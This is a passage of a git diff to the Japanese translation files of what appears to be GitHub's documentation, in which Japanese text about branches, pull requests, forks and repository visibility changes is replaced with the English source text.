Pull requests --- +## About branches -## ブランチについて +Branches allow you to develop features, fix bugs, or safely experiment with new ideas in a contained area of your repository. -ブランチを使用すると、リポジトリ内の領域で機能を開発したり、バグを修正したり、新しいアイデアを安全に試したりすることができます。 +You always create a branch from an existing branch. Typically, you might create a new branch from the default branch of your repository. You can then work on this new branch in isolation from changes that other people are making to the repository. A branch you create to build a feature is commonly referred to as a feature branch or topic branch. For more information, see "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository/)." -ブランチは常に既存のものから作成します。 通常、リポジトリのデフォルトブランチから新しいブランチを作成します。 その後、他の人がリポジトリに加えた変更とは別に、新しいブランチで作業できます。 機能を構築するために作成するブランチは、通常、フィーチャブランチまたはトピックブランチと呼ばれます。 詳しい情報については[リポジトリ内でのブランチの作成と削除](/articles/creating-and-deleting-branches-within-your-repository/)を参照してください。 +You can also use a branch to publish a {% data variables.product.prodname_pages %} site. For more information, see "[About {% data variables.product.prodname_pages %}](/articles/what-is-github-pages)." -また、{% data variables.product.prodname_pages %}サイトを公開するためにブランチを使うこともできます。 詳しい情報については「[{% data variables.product.prodname_pages %}について](/articles/what-is-github-pages)」を参照してください。 +You must have write access to a repository to create a branch, open a pull request, or delete and restore branches in a pull request. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github)." -ブランチの作成、プルリクエストのオープン、プルリクエスト中でのブランチの削除とリストアを行うためには、リポジトリへの書き込みアクセスを持っていなければなりません。 詳細は「[{% data variables.product.prodname_dotcom %} 上のアクセス権限](/github/getting-started-with-github/access-permissions-on-github)」を参照してください。 +## About the default branch -## デフォルトブランチについて - -{% data reusables.branches.new-repo-default-branch %} デフォルトブランチは、誰かがあなたのリポジトリにアクセスしたときに {% data variables.product.prodname_dotcom %} が表示されるブランチです。 また、デフォルトブランチは、誰かがリポジトリのクローンを作成したときに Git がローカルでチェックアウトする最初のブランチでもあります。 {% data reusables.branches.default-branch-automatically-base-branch %} +{% data reusables.branches.new-repo-default-branch %} The default branch is the branch that {% data variables.product.prodname_dotcom %} displays when anyone visits your repository. The default branch is also the initial branch that Git checks out locally when someone clones the repository. {% data reusables.branches.default-branch-automatically-base-branch %} By default, {% data variables.product.product_name %} names the default branch `main` in any new repository. -{% data reusables.branches.set-default-branch %} +{% data reusables.branches.change-default-branch %} {% data reusables.branches.set-default-branch %} -## ブランチを使用する +## Working with branches -満足の行くところまで作業したら、プルリクエストをオープンして、現在のブランチ（*head* ブランチ）の変更を別のブランチ（*base* ブランチ）にマージできます。 詳しい情報については[プルリクエストについて](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)を参照してください。 +Once you're satisfied with your work, you can open a pull request to merge the changes in the current branch (the *head* branch) into another branch (the *base* branch). For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)." -プルリクエストがマージまたはクローズされた後、head ブランチは不要になり削除できます。 ブランチを削除するには、リポジトリへの書き込みアクセスが必要です。 オープンなプルリクエストに直接関連付けられているブランチは削除できません。 詳しい情報については「[プルリクエスト中のブランチの削除と復元](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)」を参照してください。 +After a pull request has been merged, or closed, you can delete the head branch as this is no longer needed. You must have write access in the repository to delete branches. You can't delete branches that are directly associated with open pull requests. For more information, see "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)" {% data reusables.pull_requests.retargeted-on-branch-deletion %} -以下の図は次のような内容を示しています。 +The following diagrams illustrate this. - Here someone has created a branch called `feature1` from the `main` branch, and you've then created a branch called `feature2` from `feature1`. 両方のブランチにオープンなプルリクエストがあります。 矢印は、各プルリクエストの現在のベースブランチを示します。 この時点で、`feature1` は `feature2` のベースブランチとなります。 ここで、`feature2` のプルリクエストがマージされると、`feature2` ブランチが `feature1` にマージされます。 + Here someone has created a branch called `feature1` from the `main` branch, and you've then created a branch called `feature2` from `feature1`. There are open pull requests for both branches. The arrows indicate the current base branch for each pull request. At this point, `feature1` is the base branch for `feature2`. If the pull request for `feature2` is merged now, the `feature2` branch will be merged into `feature1`. - ![[Merge pull request] ボタン](/assets/images/help/branches/pr-retargeting-diagram1.png) + ![merge-pull-request-button](/assets/images/help/branches/pr-retargeting-diagram1.png) In the next diagram, someone has merged the pull request for `feature1` into the `main` branch, and they have deleted the `feature1` branch. As a result, {% data variables.product.prodname_dotcom %} has automatically retargeted the pull request for `feature2` so that its base branch is now `main`. - ![[Merge pull request] ボタン](/assets/images/help/branches/pr-retargeting-diagram2.png) + ![merge-pull-request-button](/assets/images/help/branches/pr-retargeting-diagram2.png) Now when you merge the `feature2` pull request, it'll be merged into the `main` branch. -## 保護されたブランチでの作業 +## Working with protected branches -リポジトリ管理者は、ブランチの保護を有効化できます。 保護されたブランチで作業しているなら、ブランチを削除したり、ブランチにフォースプッシュしたりすることはできません。 リポジトリ管理者は、保護されたブランチの他の設定を有効化し、ブランチがマージできるようになる前に様々なワークフローを適用できます。 +Repository administrators can enable protections on a branch. If you're working on a branch that's protected, you won't be able to delete or force push to the branch. Repository administrators can additionally enable several other protected branch settings to enforce various workflows before a branch can be merged. {% note %} -**ノート：**リポジトリ管理者は、ブランチの保護で"Include administrators（管理者を含む）"が設定されていなければ、要求を満たしていないプルリクエストを保護が有効化されたブランチにマージできます。 +**Note:** If you're a repository administrator, you can merge pull requests on branches with branch protections enabled even if the pull request does not meet the requirements, unless branch protections have been set to "Include administrators." {% endnote %} -プルリクエストがマージできるかを調べるには、プルリクエストの** Conversation（会話）**タブの下部にあるマージボックスを見てください。 詳しい情報については[保護されたブランチについて](/articles/about-protected-branches)を参照してください。 +To see if your pull request can be merged, look in the merge box at the bottom of the pull request's **Conversation** tab. For more information, see "[About protected branches](/articles/about-protected-branches)." -ブランチが保護されていると、以下のようになります。 +When a branch is protected: -- ブランチの削除やブランチへのフォースプッシュはできません。 -- ブランチでステータスチェック必須が有効化されていると、必要なCIテストがすべてパスするまで、変更をブランチにマージできません。 詳しい情報については[ステータスチェックについて](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)を参照してください。 -- ブランチでプルリクエストレビュー必須が有効化されている場合、プルリクエストレビューポリシー中のすべての要求が満たされるまでは、ブランチに変更をマージできません。 詳しい情報については[プルリクエストのマージ](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)を参照してください。 -- ブランチでコードオーナーからの必須レビューが有効化されており、プルリクエストがオーナーを持つコードを変更している場合、コードオーナーがプルリクエストを承認しなければ、そのプルリクエストはマージできません。 詳細は「[コードオーナーについて](/articles/about-code-owners)」を参照してください。 -- ブランチでコミット署名必須が有効化されている場合、署名および検証されていないコミットはブランチにプッシュできません。 詳しい情報については、「[コミット署名の検証について](/articles/about-commit-signature-verification)」および「[保護されたブランチについて](/github/administering-a-repository/about-protected-branches#require-signed-commits)」を参照してください。 -- {% data variables.product.prodname_dotcom %} のコンフリクトエディタを使用して、保護されたブランチから作成したプルリクエストのコンフリクトを修正する場合、{% data variables.product.prodname_dotcom %} はプルリクエストの代替ブランチを作成して、コンフリクトの解決をマージできるようにします。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} でマージコンフリクトを解決する](/github/collaborating-with-issues-and-pull-requests/resolving-a-merge-conflict-on-github)」を参照してください。 +- You won't be able to delete or force push to the branch. +- If required status checks are enabled on the branch, you won't be able to merge changes into the branch until all of the required CI tests pass. For more information, see "[About status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)." +- If required pull request reviews are enabled on the branch, you won't be able to merge changes into the branch until all requirements in the pull request review policy have been met. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)." +- If required review from a code owner is enabled on a branch, and a pull request modifies code that has an owner, a code owner must approve the pull request before it can be merged. For more information, see "[About code owners](/articles/about-code-owners)." +- If required commit signing is enabled on a branch, you won't be able to push any commits to the branch that are not signed and verified. For more information, see "[About commit signature verification](/articles/about-commit-signature-verification)" and "[About protected branches](/github/administering-a-repository/about-protected-branches#require-signed-commits)." +- If you use {% data variables.product.prodname_dotcom %}'s conflict editor to fix conflicts for a pull request that you created from a protected branch, {% data variables.product.prodname_dotcom %} helps you to create an alternative branch for the pull request, so that your resolution of the conflicts can be merged. For more information, see "[Resolving a merge conflict on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/resolving-a-merge-conflict-on-github)." -## 参考リンク +## Further reading -- [プルリクエストについて](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) -- {% data variables.product.prodname_dotcom %} 用語集中の[ブランチ](/articles/github-glossary/#branch) -- Gitのドキュメンテーション中の[ブランチの要約](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell) +- "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)" +- "[Branch](/articles/github-glossary/#branch)" in the {% data variables.product.prodname_dotcom %} glossary +- "[Branches in a Nutshell](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell)" in the Git documentation diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md index c6f8ef1ee7..04002cc4a8 100644 --- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md +++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md @@ -1,6 +1,6 @@ --- -title: プルリクエストについて -intro: 'プルリクエストは、他者に対してあなたが{% data variables.product.product_name %}上のリポジトリ内のブランチにプッシュした変更について知らせます。 プルリクエストがオープンされると、変更がベースブランチにマージされる前に、可能性のある変更についてコラボレーターと議論し、レビューでき、フォローアップのコメントを追加できます。' +title: About pull requests +intro: 'Pull requests let you tell others about changes you''ve pushed to a branch in a repository on {% data variables.product.product_name %}. Once a pull request is opened, you can discuss and review the potential changes with collaborators and add follow-up commits before your changes are merged into the base branch.' redirect_from: - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests - /articles/using-pull-requests/ @@ -15,30 +15,29 @@ versions: topics: - Pull requests --- - -## プルリクエストについて +## About pull requests {% note %} -**メモ:** プルリクエストを使う際には以下のことを念頭に置いてください: -* [共有リポジトリモデル](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models)で作業をしている場合、プルリクエストにはトピックブランチを使うことをおすすめします。 ブランチあるいはコミットからプルリクエストを送ることもできますが、トピックブランチを使えば提案した変更を更新する必要がある場合、フォローアップのコミットをプッシュできます。 -* プルリクエストにコミットをプッシュする場合、フォースプッシュはしないでください。 フォースプッシュをすると、プルリクエストが壊れることがあります。 +**Note:** When working with pull requests, keep the following in mind: +* If you're working in the [shared repository model](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models), we recommend that you use a topic branch for your pull request. While you can send pull requests from any branch or commit, with a topic branch you can push follow-up commits if you need to update your proposed changes. +* When pushing commits to a pull request, don't force push. Force pushing changes the repository history and can corrupt your pull request. If other collaborators branch the project before a force push, the force push may overwrite commits that collaborators based their work on. {% endnote %} You can create pull requests on {% data variables.product.prodname_dotcom_the_website %}, with {% data variables.product.prodname_desktop %}, in {% data variables.product.prodname_codespaces %}, on {% data variables.product.prodname_mobile %}, and when using GitHub CLI. -プルリクエストを初期化すると、あなたのブランチ（比較ブランチ）とリポジトリのベースブランチとの差異の高レベルの概要を示すレビューページが表示されます。 提案した変更の概要を追加したり、コミットによる変更をレビューしたり、ラベルやマイルストーン、アサインされた人を追加したり、個人のコントリビューターやTeamに@メンションできます。 詳しい情報については[プルリクエストの作成](/articles/creating-a-pull-request)を参照してください。 +After initializing a pull request, you'll see a review page that shows a high-level overview of the changes between your branch (the compare branch) and the repository's base branch. You can add a summary of the proposed changes, review the changes made by commits, add labels, milestones, and assignees, and @mention individual contributors or teams. For more information, see "[Creating a pull request](/articles/creating-a-pull-request)." -プルリクエストを作成したら、トピックブランチからコミットをプッシュして、それらを既存のプルリクエストに追加できます。 それらのコミットは、プルリクエスト内で時系列順に表示され、変更は"Files changed（変更されたファイル）"タブで見ることができます。 +Once you've created a pull request, you can push commits from your topic branch to add them to your existing pull request. These commits will appear in chronological order within your pull request and the changes will be visible in the "Files changed" tab. -他のコントリビューターは、あなたが提案した変更をレビューしたり、レビューコメントを追加したり、プルリクエストのディスカッションにコントリビュートしたり、さらにはプルリクエストにコメントを追加したりできます。 +Other contributors can review your proposed changes, add review comments, contribute to the pull request discussion, and even add commits to the pull request. {% ifversion fpt or ghec %} -[Conversation] タブで、ブランチの現在のデプロイメントステータスや過去のデプロイメントのアクティビティに関する情報を確認することができます。 詳細は「[リポジトリのデプロイメントアクティビティを表示する](/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository)」を参照してください。 +You can see information about the branch's current deployment status and past deployment activity on the "Conversation" tab. For more information, see "[Viewing deployment activity for a repository](/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository)." {% endif %} -提案された変更に満足したなら、プルリクエストをマージできます。 共有リポジトリモデルで作業している場合は、プルリクエストを作成し、あなたか他のユーザが、プルリクエストで指定したベースブランチにフィーチャブランチからの変更をマージします。 詳しい情報については[プルリクエストのマージ](/articles/merging-a-pull-request)を参照してください。 +After you're happy with the proposed changes, you can merge the pull request. If you're working in a shared repository model, you create a pull request and you, or someone else, will merge your changes from your feature branch into the base branch you specify in your pull request. For more information, see "[Merging a pull request](/articles/merging-a-pull-request)." {% data reusables.pull_requests.required-checks-must-pass-to-merge %} @@ -46,32 +45,32 @@ You can create pull requests on {% data variables.product.prodname_dotcom_the_we {% tip %} -**参考:** -- プルリクエスト内のすべての古いレビューコメントの折りたたみと展開を切り替えるには、optionAltAlt を押しながら、[**Show outdated**] または [**Hide outdated**] をクリックします。 その他のショートカットについては「[キーボードのショートカット](/articles/keyboard-shortcuts)」を参照してください。 -- プルリクエストをマージする際には、変更を効率的に見ることができるようにするためにコミットを squash できます。 詳しい情報については[プルリクエストのマージについて](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)を参照してください。 +**Tips:** +- To toggle between collapsing and expanding all outdated review comments in a pull request, hold down optionAltAlt and click **Show outdated** or **Hide outdated**. For more shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts)." +- You can squash commits when merging a pull request to gain a more streamlined view of changes. For more information, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)." {% endtip %} -ダッシュボードにアクセスすれば、作業しているかサブスクライブしている最近更新されたプルリクエストへのリンクを素早く見つけることができます。 詳しい情報については[パーソナルダッシュボードについて](/articles/about-your-personal-dashboard)を参照してください。 +You can visit your dashboard to quickly find links to recently updated pull requests you're working on or subscribed to. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)." -## ドラフトプルリクエスト +## Draft pull requests {% data reusables.gated-features.draft-prs %} -プルリクエストを作成する際には、レビュー可能なプルリクエストを作成するか、ドラフトのプルリクエストを作成するかを選択できます。 ドラフトのプルリクエストはマージできません。また、コードオーナーにはドラフトのプルリクエストのレビューは自動的にはリクエストされません。 ドラフトのプルリクエストの作成に関する詳しい情報については、「[プルリクエストを作成する](/articles/creating-a-pull-request)」および「[フォークからプルリクエストを作成する](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)」を参照してください。 +When you create a pull request, you can choose to create a pull request that is ready for review or a draft pull request. Draft pull requests cannot be merged, and code owners are not automatically requested to review draft pull requests. For more information about creating a draft pull request, see "[Creating a pull request](/articles/creating-a-pull-request)" and "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)." -{% data reusables.pull_requests.mark-ready-review %} プルリクエストはいつでもドラフトに変換できます。 詳しい情報については、「[プルリクエストのステージを変更する](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)」を参照してください。 +{% data reusables.pull_requests.mark-ready-review %} You can convert a pull request to a draft at any time. For more information, see "[Changing the stage of a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)." -## 比較とプルリクエストページのコミットの違い +## Differences between commits on compare and pull request pages -比較とプルリクエストページは、次のような異なる方法で、変更されたファイルの diff を計算します。 +The compare and pull request pages use different methods to calculate the diff for changed files: -- 比較ページには、head ref のヒントと、head およびベース ref の現在の共通の先祖 (マージベース) との diff が表示されます。 -- プルリクエストページには、プルリクエストが作成されたときの head ref のヒントと、head およびベース ref の共通の先祖との diff が表示されます。 したがって、比較に使用されるマージベースは異なる場合があります。 +- Compare pages show the diff between the tip of the head ref and the current common ancestor (that is, the merge base) of the head and base ref. +- Pull request pages show the diff between the tip of the head ref and the common ancestor of the head and base ref at the time when the pull request was created. Consequently, the merge base used for the comparison might be different. -## 参考リンク +## Further reading -- {% data variables.product.prodname_dotcom %} 用語集中の[プルリクエスト](/articles/github-glossary/#pull-request) +- "[Pull request](/articles/github-glossary/#pull-request)" in the {% data variables.product.prodname_dotcom %} glossary - "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)" -- 「[プルリクエストへコメントする](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)」 -- [プルリクエストのクローズ](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request) +- "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)" +- "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)" diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md index 688f30b77d..6e91cda0c6 100644 --- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md +++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md @@ -1,6 +1,6 @@ --- -title: フォークについて -intro: フォークはユーザが管理するリポジトリのコピーです。 フォークを使えば、オリジナルのリポジトリに影響を与えることなくプロジェクトへの変更を行えます。 オリジナルのリポジトリから更新をフェッチしたり、プルリクエストでオリジナルのリポジトリに変更をサブミットしたりできます。 +title: About forks +intro: A fork is a copy of a repository that you manage. Forks let you make changes to a project without affecting the original repository. You can fetch updates from or submit changes to the original repository with pull requests. redirect_from: - /github/collaborating-with-issues-and-pull-requests/working-with-forks/about-forks - /articles/about-forks @@ -14,11 +14,10 @@ versions: topics: - Pull requests --- +Forking a repository is similar to copying a repository, with two major differences: -リポジトリのフォークはリポジトリのコピーと似ていますが、次の 2 つの大きな違いがあります。 - -* プルリクエストを使ってユーザが所有するフォークからの変更をオリジナルのリポジトリ（*上流*のリポジトリとも呼ばれます）に提案できます。 -* 上流のリポジトリと自分のフォークを同期させることで、上流のリポジトリからの変更を自分のローカルフォークへ持ち込めます。 +* You can use a pull request to suggest changes from your user-owned fork to the original repository, also known as the *upstream* repository. +* You can bring changes from the upstream repository to your local fork by synchronizing your fork with the upstream repository. {% data reusables.repositories.you-can-fork %} @@ -30,17 +29,17 @@ If you're a member of a {% data variables.product.prodname_emu_enterprise %}, th {% data reusables.repositories.desktop-fork %} -フォークを削除しても、オリジナルの上流のリポジトリは削除されません。 オリジナルに影響を与えることなく、コラボレータの追加、ファイル名の変更、{% data variables.product.prodname_pages %} の生成など、自分のフォークに必要な変更を加えることができます。{% ifversion fpt or ghec %}削除されたフォークリポジトリを復元することはできません。 詳しい情報については、「[削除されたリポジトリを復元する](/articles/restoring-a-deleted-repository)」を参照してください。{% endif %} +Deleting a fork will not delete the original upstream repository. You can make any changes you want to your fork—add collaborators, rename files, generate {% data variables.product.prodname_pages %}—with no effect on the original.{% ifversion fpt or ghec %} You cannot restore a deleted forked repository. For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %} -オープンソースプロジェクトでは、フォークを使用して、上流のリポジトリに提供される前にアイデアや変更をイテレーションすることがよくあります。 ユーザ所有のフォークに変更を加え、作業を上流リポジトリと比較するプルリクエストをオープンすると、上流リポジトリへのプッシュアクセスできる人に対して、変更をプルリクエストブランチにプッシュする権限を付与することができます。 これにより、リポジトリメンテナがマージする前に、ユーザが所有するフォークからプルリクエストブランチに対してローカルでコミットを実行したり、テストを実行したりすることができるようになり、コラボレーションがスピードアップします。 Organization が所有するフォークにプッシュ権限を与えることはできません。 +In open source projects, forks are often used to iterate on ideas or changes before they are offered back to the upstream repository. When you make changes in your user-owned fork and open a pull request that compares your work to the upstream repository, you can give anyone with push access to the upstream repository permission to push changes to your pull request branch. This speeds up collaboration by allowing repository maintainers the ability to make commits or run tests locally to your pull request branch from a user-owned fork before merging. You cannot give push permissions to a fork owned by an organization. {% data reusables.repositories.private_forks_inherit_permissions %} -既存のリポジトリのコンテンツから新しいリポジトリを作成するが、将来にわたって変更を上流にマージしない場合、リポジトリを複製するか、リポジトリがテンプレートである場合は、リポジトリをテンプレートとして使うことができます。 For more information, see "[Duplicating a repository](/articles/duplicating-a-repository)" and "[Creating a repository from a template](/articles/creating-a-repository-from-a-template)". +If you want to create a new repository from the contents of an existing repository but don't want to merge your changes to the upstream in the future, you can duplicate the repository or, if the repository is a template, you can use the repository as a template. For more information, see "[Duplicating a repository](/articles/duplicating-a-repository)" and "[Creating a repository from a template](/articles/creating-a-repository-from-a-template)". -## 参考リンク +## Further reading -- [コラボレーティブ開発モデルについて](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models) -- [フォークからプルリクエストを作成する](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork) -- [オープンソースガイド](https://opensource.guide/){% ifversion fpt or ghec %} +- "[About collaborative development models](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models)" +- "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)" +- [Open Source Guides](https://opensource.guide/){% ifversion fpt or ghec %} - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %} diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md index 03fba23346..9d9b203f5a 100644 --- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md +++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md @@ -1,6 +1,6 @@ --- -title: リポジトリが削除されたり可視性が変更されたりするとフォークはどうなりますか？ -intro: リポジトリを削除したり、その可視性を変更したりすると、そのリポジトリのフォークに影響します。 +title: What happens to forks when a repository is deleted or changes visibility? +intro: Deleting your repository or changing its visibility affects that repository's forks. redirect_from: - /github/collaborating-with-issues-and-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility - /articles/changing-the-visibility-of-a-network/ @@ -16,73 +16,68 @@ topics: - Pull requests shortTitle: Deleted or changes visibility --- - {% data reusables.repositories.deleted_forks_from_private_repositories_warning %} -## プライベートリポジトリを削除する +## Deleting a private repository -プライベートリポジトリを削除すると、そのプライベートフォークもすべて削除されます。 +When you delete a private repository, all of its private forks are also deleted. {% ifversion fpt or ghes or ghec %} -## パブリックリポジトリを削除する +## Deleting a public repository -パブリックリポジトリを削除すると、既存のパブリックフォークの 1 つが新しい親リポジトリとして選択されます。 他のすべてのリポジトリはこの新しい親から分岐し、その後のプルリクエストはこの新しい親に送られます。 +When you delete a public repository, one of the existing public forks is chosen to be the new parent repository. All other repositories are forked off of this new parent and subsequent pull requests go to this new parent. {% endif %} -## プライベートフォークと権限 +## Private forks and permissions {% data reusables.repositories.private_forks_inherit_permissions %} {% ifversion fpt or ghes or ghec %} -## パブリックリポジトリをプライベートリポジトリに変更する +## Changing a public repository to a private repository -パブリックリポジトリを非公開にすると、そのパブリックフォークは新しいネットワークに分割されます。 パブリックリポジトリの削除と同様に、既存のパブリックフォークの 1 つが新しい親リポジトリとして選択され、他のすべてのリポジトリはこの新しい親から分岐されます。 後続のプルリクエストは、この新しい親に行きます。 +If a public repository is made private, its public forks are split off into a new network. As with deleting a public repository, one of the existing public forks is chosen to be the new parent repository and all other repositories are forked off of this new parent. Subsequent pull requests go to this new parent. -言い換えれば、パブリックリポジトリのフォークは、親リポジトリが非公開にされた後も、独自の別のリポジトリネットワークで公開されたままになります。 これにより、フォークオーナーは作業を中断せずに作業を継続できます。 このようにパブリックフォークが別のネットワークに移動されなかった場合、それらのフォークのオーナーは適切な[アクセス許可](/articles/access-permissions-on-github)を取得してプルする必要があります。 以前はこれらのアクセス権が必要ではなかったとしても、(現在はプライベートになっている) 親リポジトリからの変更を取得して送信します。 +In other words, a public repository's forks will remain public in their own separate repository network even after the parent repository is made private. This allows the fork owners to continue to work and collaborate without interruption. If public forks were not moved into a separate network in this way, the owners of those forks would need to get the appropriate [access permissions](/articles/access-permissions-on-github) to pull changes from and submit pull requests to the (now private) parent repository—even though they didn't need those permissions before. {% ifversion ghes or ghae %} -パブリックリポジトリで匿名の Git 読み取りアクセスが有効になっていて、そのリポジトリが非公開になっている場合、リポジトリのすべてのフォークは匿名の Git 読み取りアクセスを失い、デフォルトの無効設定に戻ります。 分岐したリポジトリが公開された場合、リポジトリ管理者は匿名の Git 読み取りアクセスを再度有効にすることができます。 詳細は「[リポジトリに対する匿名 Git 読み取りアクセスを有効化する](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)」を参照してください。 +If a public repository has anonymous Git read access enabled and the repository is made private, all of the repository's forks will lose anonymous Git read access and return to the default disabled setting. If a forked repository is made public, repository administrators can re-enable anonymous Git read access. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)." {% endif %} -### プライベートリポジトリを削除する +### Deleting the private repository -パブリックリポジトリを非公開にしてから削除しても、そのパブリックフォークは別のネットワークに存在し続けます。 +If a public repository is made private and then deleted, its public forks will continue to exist in a separate network. -## プライベートリポジトリのパブリックリポジトリへの変更 +## Changing a private repository to a public repository -プライベートリポジトリが公開されると、そのプライベートフォークはそれぞれスタンドアロンのプライベートリポジトリになり、独自の新しいリポジトリネットワークの親になります。 プライベートフォークは、公開されるべきではない機密のコミットを含む可能性があるため、自動的に公開されることはありません。 +If a private repository is made public, each of its private forks is turned into a standalone private repository and becomes the parent of its own new repository network. Private forks are never automatically made public because they could contain sensitive commits that shouldn't be exposed publicly. -### パブリックリポジトリを削除する +### Deleting the public repository -プライベートリポジトリを公開してから削除しても、そのプライベートフォークは独立したプライベートリポジトリとして別々のネットワークに存在し続けます。 +If a private repository is made public and then deleted, its private forks will continue to exist as standalone private repositories in separate networks. {% endif %} -{% ifversion fpt or ghae or ghes or ghec %} +{% ifversion ghes or ghec or ghae %} -## 内部リポジトリの表示を変更する +## Changing the visibility of an internal repository -{% note %} -**注釈:** {% data reusables.gated-features.internal-repos %} -{% endnote %} +If the policy for your enterprise permits forking, any fork of an internal repository will be private. If you change the visibility of an internal repository, any fork owned by an organization or user account will remain private. -Enterprise のポリシーでフォークが許可されている場合、内部リポジトリのフォークはすべてプライベートになります。 内部リポジトリの表示を変更した場合、Organization またはユーザアカウントが所有するフォークはすべてプライベートのままになります。 +### Deleting the internal repository -### 内部リポジトリを削除する - -内部リポジトリの表示を変更してからリポジトリを削除すると、フォークは別のネットワークに引き続き存在します。 +If you change the visibility of an internal repository and then delete the repository, the forks will continue to exist in a separate network. {% endif %} -## 参考リンク +## Further reading -- 「[リポジトリの可視性を設定する](/articles/setting-repository-visibility)」 -- 「[フォークについて](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)」 -- 「[リポジトリのフォークポリシーを管理する](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)」 -- 「[Organization のフォークポリシーを管理する](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)」 +- "[Setting repository visibility](/articles/setting-repository-visibility)" +- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" +- "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)" +- "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)" - "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-on-forking-private-or-internal-repositories)" diff --git a/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md 